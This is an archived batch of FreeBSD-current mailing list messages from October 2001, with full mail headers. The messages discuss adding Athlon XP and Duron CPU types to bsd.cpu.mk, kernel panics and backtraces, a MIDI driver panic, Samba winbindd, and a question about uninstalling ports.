From owner-freebsd-current Sun Oct 28 0:52:34 2001 Delivered-To: freebsd-current@freebsd.org Received: from ns.kobe1995.net (211.12.126.15.user.dt.il24.net [211.12.126.15]) by hub.freebsd.org (Postfix) with ESMTP id 3BAD137B401; Sun, 28 Oct 2001 00:52:28 -0700 (PDT) Received: (from kaz@localhost) by ns.kobe1995.net (8.8.8/3.7W-primary) id QAA26253; Sun, 28 Oct 2001 16:52:18 +0900 (JST) Date: Sun, 28 Oct 2001 16:52:18 +0900 (JST) Message-Id: <200110280752.QAA26253@ns.kobe1995.net> To: clefevre@citeweb.net Cc: freebsd-stable@FreeBSD.org, freebsd-current@FreeBSD.org Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: Your message of "Sat, 27 Oct 2001 22:00:44 +0200 (CEST)". <200110272000.f9RK0jn71364@gits.dyndns.org> From: kaz@kobe1995.net (NAKAMURA Kazushi) X-Mailer: mnews [version 1.20] 1996-12/08(Sun) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200110272000.f9RK0jn71364@gits.dyndns.org> clefevre@citeweb.net writes: >how about the following patch (untested) regarding the newer athlon xp >processor type ? if needed, I could submit a PR. AthlonXP is same as AthlonMP. It's better of the name "palomino", isn't it? (But "morgan" Duron will have same feature such as SSE.) What is the best name of the AMD's CPU core that can use SSE? >Index: bsd.cpu.mk >=================================================================== >RCS file: /home/ncvs/src/share/mk/bsd.cpu.mk,v >retrieving revision 1.2.2.4 >diff -u -r1.2.2.4 bsd.cpu.mk >@@ -28,8 +30,10 @@ > > .if !defined(NO_CPU_CFLAGS) || !defined(NO_CPU_COPTFLAGS) > . if ${MACHINE_ARCH} == "i386" >-. if ${CPUTYPE} == "k7" >+. if ${CPUTYPE} == "xp" > _CPUCFLAGS = -march=k6 # gcc doesn't support athlon yet, but it will >+. elif ${CPUTYPE} == "k7" >+_CPUCFLAGS = -march=k6 # gcc doesn't support athlon yet, but it will > . elif ${CPUTYPE} == "k6-2" > _CPUCFLAGS = -march=k6 > . elif ${CPUTYPE} == "k6" My dual AthlonXP is offen better performance at "-mcpu=i686" than "-mk6". (gcc 2.95.3) My dual AthlonXP's WWW page(in Japanese,sorry): http://kobe1995.net/~kaz/FreeBSD/AthlonDual.html Thank you & sorry for my poor English. -- NAKAMURA Kazushi@KOBE - Break the hate chain. No more kill! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 1:57:14 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id B50A237B407 for ; Sun, 28 Oct 2001 01:57:07 -0800 (PST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.6/8.11.6) with ESMTP id f9S9uUS32681; Sun, 28 Oct 2001 10:56:30 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: mjacob@feral.com Cc: Jonathan Lemon , freebsd-current@FreeBSD.ORG Subject: Re: hmm... (fwd) In-Reply-To: Your message of "Sat, 27 Oct 2001 18:11:08 MST." <20011027181019.E71369-100000@wonky.feral.com> Date: Sun, 28 Oct 2001 10:56:30 +0100 Message-ID: <32679.1004262990@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Can you try with the patch I just committed ? It may be another manifestation of that bug. Poul-Henning In message <20011027181019.E71369-100000@wonky.feral.com>, Matthew Jacob writes : > >Actually- not alpha. Happened under i386, so it seems like it might be more >related to the general console changes.. > >---------- Forwarded message ---------- >Date: Sat, 27 Oct 2001 16:43:55 -0700 (PDT) >From: Matthew Jacob >To: Jonathan Lemon >Cc: alpha@FreeBSD.ORG >Subject: hmm... > > >Something from your changes or mine :-)? > >On a reboot: > >login: >fatal kernel trap: > > trap entry = 0x2 (memory management fault) > cpuid = 0 > faulting va = 0xb8 > type = access violation > cause = load instructon > pc = 0xfffffc00003fd1d4 > ra = 0xfffffc0000456720 > sp = 0xfffffe000b4377f0 > usp = 0x11ffe680 > curproc = 0xfffffe000b1afe00 > pid = 216, comm = syslogd > >Stopped at devsw+0x14: ldq t0,0xb8(a0) <0xb8> > >db> t >devsw() at devsw+0x14 >cn_devopen() at cn_devopen+0x40 >cnopen() at cnopen+0x60 >spec_open() at spec_open+0x1b4 >spec_vnoperate() at spec_vnoperate+0x2c >vn_open() at vn_open+0x410 >open() at open+0xf0 >syscall() at syscall+0x308 >XentSys() at XentSys+0x64 >--- syscall (5, FreeBSD ELF, open) --- >--- user mode --- > > > >-matt > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6: 0:50 2001 Delivered-To: freebsd-current@freebsd.org Received: from hal-4.inet.it (hal-4.inet.it [213.92.5.23]) by hub.freebsd.org (Postfix) with ESMTP id 9653737B401 for ; Sun, 28 Oct 2001 06:00:41 -0800 (PST) Received: (from root@localhost) by hal-4.inet.it (8.11.1/8.11.1) id f9SE0ek208624 for ; Sun, 28 Oct 2001 15:00:40 +0100 Received: from acampi.inet.it(213.92.1.165) by hal-4.inet.it via I-SMTP id s-213.92.1.165-yVAx18; Sun Oct 28 15:00:40 2001 Received: by acampi.inet.it (Postfix, from userid 1000) id 9AEFA15562; Sun, 28 Oct 2001 15:00:39 +0100 (CET) Date: Sun, 28 Oct 2001 15:00:39 +0100 From: Andrea Campi To: David Malone Cc: freebsd-current@FreeBSD.org Subject: Re: -CURRENT freeze under high load Message-ID: <20011028150039.A8588@webcom.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011027194813.A57243@walton.maths.tcd.ie>; User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG d.ie on Sat, Oct 27, 2001 at 07:48:13PM +0100 X-Echelon: BND CIA NSA Mossad KGB MI6 IRA detonator nuclear assault strike On Sat, Oct 27, 2001 at 07:48:13PM +0100, David Malone wrote: > On Fri, Oct 26, 2001 at 06:16:12PM +0200, Andrea Campi wrote: > > Anybody has any idea how to properly fix? > > Can you test the following patch? > > David. Works great! Bye, Andrea To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6: 7:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by hub.freebsd.org (Postfix) with ESMTP id C94BA37B408; Sun, 28 Oct 2001 06:07:10 -0800 (PST) Received: from vilnya.demon.co.uk ([158.152.19.238]) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 15xqai-000FZy-0X; Sun, 28 Oct 2001 14:07:09 +0000 Received: from haveblue (haveblue.rings [10.2.4.5]) by vilnya.demon.co.uk (Postfix) with SMTP id 6416E2E822; Sun, 28 Oct 2001 14:04:38 +0000 (GMT) Message-ID: <006101c15fb9$ac5d03d0$0504020a@haveblue> From: "cameron grant" To: , , Cc: , , References: Subject: Re: adding athlon xp to bsd.cpu.mk Date: Sun, 28 Oct 2001 14:06:00 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > What about new Durons based on the Palomino core? The problem is > that as far as I know they have nothing in their name (like XP in > Athlon's case) that distinguishes them from older Durons based on > the Thunderbird core, while they do support SSE in addition to > 3DNow and MMX. Perhaps it would be better to introduce new variable > CPUCORE, so the user could use something like the following: from what i can see, identcpu.c fetches the cpu name using a cpuid instruction. my system with dual 1.1ghz durons identifies as: CPU: AMD Duron(tm) MP Processor (1110.94-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x670 Stepping = 0 Features=0x383fbff AMD Features=0xc0440000<,AMIE,DSP,3DNow!> the entire "AMD Duron(tm) MP Processor" string appears to originate from the cpu, so i would suggest that the processor is named duron mp. the ident string does not change when booting a non-smp kernel, so unless the cpu is detecting the chipset as dual cpu or the bios is reprogramming the cpu, that is actually what amd have named the 1.0+ghz durons. -cg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6:12:29 2001 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-d.strhg1.mi.home.com [24.13.43.207]) by hub.freebsd.org (Postfix) with ESMTP id 4542B37B405; Sun, 28 Oct 2001 06:12:23 -0800 (PST) Received: by turtle.looksharp.net (Postfix, from userid 1003) id 869C53EB5; Sun, 28 Oct 2001 09:12:36 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by turtle.looksharp.net (Postfix) with ESMTP id 8295ABAA6; Sun, 28 Oct 2001 09:12:36 -0500 (EST) Date: Sun, 28 Oct 2001 09:12:36 -0500 (EST) From: "Brandon D. Valentine" To: Cc: , , , , Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: Message-ID: <20011028085202.N65051-100000@turtle.looksharp.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 28 Oct 2001, Maxim Sobolev wrote: >AFAIK, not quite. The core name is Palomino and there are three >processors based on it: Athlon XP, Athlon MP and Duron. The AMD Athlon XP, MP, and mobile Athlon4 are based on the Palomino core. The 1Ghz+ Durons are based on the Morgan core, a Palomino derivative with less cache. The previous generations of Athlons were based on the K7, K75, and Thunderbird cores. What is a bit misleading about the naming of AMD's processors is that at present they are all SMP capable. You can use dual Thunderbirds or Durons or XPs without a problem, generally. In fact, you can even use processors of different clock speeds in an SMP configuration fairly successfully, though it is not recommended. What you pay for when you buy Athlon MP processors is AMD's SmartMP technology. SmartMP includes a more advanced cache coherency protocol and an inter-processor "snoop" bus that allows the processors to exchange data from their caches instead of going directly to main memory all the time. -- "Never put off until tomorrow what you can do today. There might be a law against it by that time." -- /usr/games/fortune, 07/30/2001 Brandon D. Valentine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6:37:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from mikea.ath.cx (okc-65-30-192-11.mmcable.com [65.30.192.11]) by hub.freebsd.org (Postfix) with ESMTP id 8585437B407; Sun, 28 Oct 2001 06:37:37 -0800 (PST) Received: (from mikea@localhost) by mikea.ath.cx (8.11.6/8.11.1) id f9SEbZB08836; Sun, 28 Oct 2001 08:37:35 -0600 (CST) (envelope-from mikea) Date: Sun, 28 Oct 2001 08:37:35 -0600 From: mikea To: chip@chocobo.cx Cc: sobomax@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: adding athlon xp to bsd.cpu.mk Message-ID: <20011028083735.B8778@mikea.ath.cx> References: <200110280030.f9S0UfW82593@gits.dyndns.org> <20011028014905.A55998@setzer.chocobo.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011028014905.A55998@setzer.chocobo.cx>; from chip@setzer.chocobo.cx on Sun, Oct 28, 2001 at 01:49:05AM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Oct 28, 2001 at 01:49:05AM -0500, Chip Marshall wrote: > Couldn't a test be done on the Features information of the processor > to determine the best optimizations? Or would that break > cross-compiliation of optimized code? So I compile something on my AMD box which I expect to run only on my P-III or P-IV box. The program is optimized for the AMD processor. This is _not_ what I would want. Ditto for the converse case. IMHO, the control needs to be in environment variables and/or in parameters passed to the compiler somehow. -- Mike Andrews mikea@mikea.ath.cx Tired old sysadmin since 1964 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6:37:55 2001 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-d.strhg1.mi.home.com [24.13.43.207]) by hub.freebsd.org (Postfix) with ESMTP id 1397537B40E; Sun, 28 Oct 2001 06:37:50 -0800 (PST) Received: by turtle.looksharp.net (Postfix, from userid 1003) id A7EA53EB6; Sun, 28 Oct 2001 09:38:03 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by turtle.looksharp.net (Postfix) with ESMTP id A4A2EBAA6; Sun, 28 Oct 2001 09:38:03 -0500 (EST) Date: Sun, 28 Oct 2001 09:38:03 -0500 (EST) From: "Brandon D. Valentine" To: Cyrille Lefevre Cc: Peter Wemm , , freebsd-stable , freebsd-current Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: <200110280030.f9S0UfW82593@gits.dyndns.org> Message-ID: <20011028092757.X65051-100000@turtle.looksharp.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 28 Oct 2001, Cyrille Lefevre wrote: >Athlon (alias k7) already has MMX. the objective of this patch >was to add SSE to the set of XP (alias MP) processors. I haven't seen the patch you're talking about, nor do I have any newer Athlons here that support SSE, but it seems like it's pretty trivial to grab the SSE identifier out of the table at: http://www.amd.com/products/cpg/athlon/techdocs/pdf/20734.pdf and add it to the print_AMD_features() function in src/sys/i386/i386/identcpu.c. -- "Never put off until tomorrow what you can do today. There might be a law against it by that time." -- /usr/games/fortune, 07/30/2001 Brandon D. Valentine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 6:42:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-d.strhg1.mi.home.com [24.13.43.207]) by hub.freebsd.org (Postfix) with ESMTP id 08FC437B406; Sun, 28 Oct 2001 06:42:36 -0800 (PST) Received: by turtle.looksharp.net (Postfix, from userid 1003) id AF31A3EB5; Sun, 28 Oct 2001 09:42:49 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by turtle.looksharp.net (Postfix) with ESMTP id AB2C9BAA6; Sun, 28 Oct 2001 09:42:49 -0500 (EST) Date: Sun, 28 Oct 2001 09:42:49 -0500 (EST) From: "Brandon D. Valentine" To: mikea Cc: , , , Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: <20011028083735.B8778@mikea.ath.cx> Message-ID: <20011028094117.F65051-100000@turtle.looksharp.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 28 Oct 2001, mikea wrote: >On Sun, Oct 28, 2001 at 01:49:05AM -0500, Chip Marshall wrote: > >> Couldn't a test be done on the Features information of the processor >> to determine the best optimizations? Or would that break >> cross-compiliation of optimized code? > >So I compile something on my AMD box which I expect to run >only on my P-III or P-IV box. The program is optimized for the >AMD processor. This is _not_ what I would want. Ditto for the >converse case. > >IMHO, the control needs to be in environment variables and/or >in parameters passed to the compiler somehow. It is. This thread was only discussing how to get the kernel to recognize these features. The CPUTYPE and CFLAGS envvars have always controlled which optimizations the compiler is allowed to use. That won't be changing. -- "Never put off until tomorrow what you can do today. There might be a law against it by that time." -- /usr/games/fortune, 07/30/2001 Brandon D. Valentine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 9:34:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail12.speakeasy.net (mail12.speakeasy.net [216.254.0.212]) by hub.freebsd.org (Postfix) with ESMTP id 88BF537B408 for ; Sun, 28 Oct 2001 09:34:15 -0800 (PST) Received: (qmail 24646 invoked from network); 28 Oct 2001 17:34:14 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 28 Oct 2001 17:34:14 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <006101c15fb9$ac5d03d0$0504020a@haveblue> Date: Sun, 28 Oct 2001 09:34:14 -0700 (PST) From: John Baldwin To: cameron grant Subject: Re: adding athlon xp to bsd.cpu.mk Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, jerry@thehutt.org, peter@wemm.org, clefevre@citeweb.net, sobomax@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 28-Oct-01 cameron grant wrote: >> What about new Durons based on the Palomino core? The problem is >> that as far as I know they have nothing in their name (like XP in >> Athlon's case) that distinguishes them from older Durons based on >> the Thunderbird core, while they do support SSE in addition to >> 3DNow and MMX. Perhaps it would be better to introduce new variable >> CPUCORE, so the user could use something like the following: > > from what i can see, identcpu.c fetches the cpu name using a cpuid > instruction. The part cpuid gives you is "AuthenticAMD". The fancy name is determined by switching on the Id. > my system with dual 1.1ghz durons identifies as: > > CPU: AMD Duron(tm) MP Processor (1110.94-MHz 686-class CPU) > Origin = "AuthenticAMD" Id = 0x670 Stepping = 0 > > Features=0x383fbff CMOV,PAT,PSE36,MMX,FXSR,SSE> > AMD Features=0xc0440000<,AMIE,DSP,3DNow!> > > the entire "AMD Duron(tm) MP Processor" string appears to originate from the > cpu, so i would suggest that the processor is named duron mp. the ident > string does not change when booting a non-smp kernel, so unless the cpu is > detecting the chipset as dual cpu or the bios is reprogramming the cpu, that > is actually what amd have named the 1.0+ghz durons. > > -cg > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 10:51:30 2001 Delivered-To: freebsd-current@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id 3A07E37B403 for ; Sun, 28 Oct 2001 10:51:24 -0800 (PST) Received: from dwcjr (unknown [66.64.12.254]) by leviathan.inethouston.net (Postfix) with ESMTP id D253510F40A; Sun, 28 Oct 2001 12:51:21 -0600 (CST) Message-ID: <001501c15fe1$8ba4d3c0$fe0c4042@inethouston.net> From: "David W. Chapman Jr." To: "Martin Blapp" , References: <20011026113649.V23866-100000@levais.imp.ch> Subject: Re: winbindd support for samba Date: Sun, 28 Oct 2001 12:51:25 -0600 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > winbindd is a daemon that provides a service for the Name > Service Switch capability that is present in most modern C > libraries. The Name Service Switch allows user and system > information to be obtained from different databases ser- > vices such as NIS or DNS. The exact behaviour can be con- > figured throught the /etc/nsswitch.conf file. Users and > groups are allocated as they are resolved to a range of > user and group ids specified by the administrator of the > Samba system. > > Btw, since we don't support winbindd, the samba-devel port > should not install the manpage :-/ > What do you mean we don't support it, its in samba-2.2.2, or alteast it should be, it was in the anouncement, maybe I'm just not installing it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 12:24:15 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp3.port.ru (mx3.port.ru [194.67.57.13]) by hub.freebsd.org (Postfix) with ESMTP id 2F1E237B401 for ; Sun, 28 Oct 2001 12:24:11 -0800 (PST) Received: from dial051140.vnet.hu ([213.163.51.140] helo=adamsfamily.xx) by smtp3.port.ru with esmtp (Exim 3.14 #1) id 15xwTZ-0006wG-00 for freebsd-current@freebsd.org; Sun, 28 Oct 2001 23:24:09 +0300 Received: (from cc@localhost) by adamsfamily.xx (8.11.6/8.11.6) id f9SKLkI01093 for freebsd-current@freebsd.org; Sun, 28 Oct 2001 21:21:46 +0100 (CET) (envelope-from adam_sziszi@mail.ru) Date: Sun, 28 Oct 2001 21:21:45 +0100 From: Szilveszter Adam To: freebsd-current@freebsd.org Subject: Midi driver causes panic a la "Driver Mistake..." Message-ID: <20011028212143.A777@fonix.adamsfamily.xx> Mail-Followup-To: Szilveszter Adam , freebsd-current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello everybody, While the flamage rages on on cvs-all, I would like to report the second driver that does not pass the recently introduced warning-to-panic test because of driver mistake. It is the Midi driver (device midi and device seq) I have an SB 64 AWE ISA PnP card so I had these devices in my kernel config (GENERIC does not have them so only custom kernels are affected.) Card identified as: sbc0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 pcm0: on sbc0 midi0 on sbc0 featuring the following ddb trace: (sorry, transcribed by hand:-( Debugger panic make_dev midiinit mpu_attach mpusbc_attach device_probe_and_attach bus_generic_attach sbc_attach device_probe_and_attach isa_probe_children configure mi_startup begin and the WARNING is: (right after the midi0: line) WARNING: Driver mistake: repeat make_dev ("dspr0.0") -CURRENT from today's make world. NB I think midi driver code may have other problems too... it doesn't seem to be heavily maintained these days. (PS Note to self: If this mail appears on the list, that means I have managed to route around my ISP's broken SMTP server.) -- Regards: Szilveszter ADAM Szombathely Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 16:37:19 2001 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id AE90837B406 for ; Sun, 28 Oct 2001 16:37:15 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id f9T0bDN32709; Sun, 28 Oct 2001 16:37:13 -0800 (PST) (envelope-from obrien) Date: Sun, 28 Oct 2001 16:37:13 -0800 From: "David O'Brien" To: Cyrille Lefevre Cc: freebsd-current Subject: Re: adding athlon xp to bsd.cpu.mk Message-ID: <20011028163713.B32015@dragon.nuxi.com> Reply-To: current@FreeBSD.org References: <200110272000.f9RK0jn71364@gits.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200110272000.f9RK0jn71364@gits.dyndns.org>; from clefevre@citeweb.net on Sat, Oct 27, 2001 at 10:00:44PM +0200 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [ BTW, ONE LIST OR THE OTHER PLEASE!! ] On Sat, Oct 27, 2001 at 10:00:44PM +0200, Cyrille Lefevre wrote: > +. elif ${CPUTYPE} == "athlonxp" > +CPUTYPE = xp Please, NO. There is no 'XP' processor. It is AthlonXP -- so use the full name. 'k7' was the name of the CPU for quite a long time while it was in development, thus poeple came to call the CPU 'k7'. I don't know of anyone that has or will start to call the latest CPU 'xp'. Please rework the patch leaving out the 'xp' part. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 16:43: 0 2001 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id A5D8F37B407; Sun, 28 Oct 2001 16:42:52 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id f9T0gFp32737; Sun, 28 Oct 2001 16:42:15 -0800 (PST) (envelope-from obrien) Date: Sun, 28 Oct 2001 16:42:15 -0800 From: "David O'Brien" To: cameron grant Cc: sobomax@FreeBSD.org, clefevre@citeweb.net, peter@wemm.org, jerry@thehutt.org, freebsd-stable@FreeBSD.org, freebsd-current@FreeBSD.org Subject: Re: adding athlon xp to bsd.cpu.mk Message-ID: <20011028164215.C32015@dragon.nuxi.com> Reply-To: obrien@FreeBSD.org References: <006101c15fb9$ac5d03d0$0504020a@haveblue> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <006101c15fb9$ac5d03d0$0504020a@haveblue>; from gandalf@vilnya.demon.co.uk on Sun, Oct 28, 2001 at 02:06:00PM -0000 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Oct 28, 2001 at 02:06:00PM -0000, cameron grant wrote: > my system with dual 1.1ghz durons identifies as: > > CPU: AMD Duron(tm) MP Processor (1110.94-MHz 686-class CPU) > Origin = "AuthenticAMD" Id = 0x670 Stepping = 0 > > Features=0x383fbff CMOV,PAT,PSE36,MMX,FXSR,SSE> > AMD Features=0xc0440000<,AMIE,DSP,3DNow!> > > the entire "AMD Duron(tm) MP Processor" string appears to originate Wonder why you get the 'MP' and I don't: CPU: AMD Athlon(tm) Processor (1194.46-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x661 Stepping = 1 Features=0x383fbff AMD Features=0xc0440000<,AMIE,DSP,3DNow!> This is from my AMD pre-release Tyan Thunder Athon MP system that I certified FreeBSD SMP support on. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 20:16:57 2001 Delivered-To: freebsd-current@freebsd.org Received: from sunny.pacific.net.sg (sunny.pacific.net.sg [203.120.90.127]) by hub.freebsd.org (Postfix) with ESMTP id C03DB37B403 for ; Sun, 28 Oct 2001 20:16:52 -0800 (PST) Received: from smtp1.pacific.net.sg (smtp1.pacific.net.sg [203.120.90.70]) by sunny.pacific.net.sg with ESMTP id f9T4Goo01820 for ; Mon, 29 Oct 2001 12:16:50 +0800 (SGT) Received: from ap_280868.pacific.net.sg ([203.208.143.98]) by smtp1.pacific.net.sg with ESMTP id f9T4Goi22124 for ; Mon, 29 Oct 2001 12:16:50 +0800 Message-Id: <5.1.0.14.0.20011029121936.00a428e0@po.pacific.net.sg> X-Sender: nchee_hoong@po.pacific.net.sg X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 29 Oct 2001 12:23:21 +0800 To: freebsd-current@FreeBSD.ORG From: Kelvin Ng Chee Hoong Subject: Un-install & upgrade application software Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi ; I have installed application software from port collection . How do I make un-install ? If I want to upgrade the existing application , how do I upgrade them ? Please advise .... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 21:16:13 2001 Delivered-To: freebsd-current@freebsd.org Received: from 636281.com 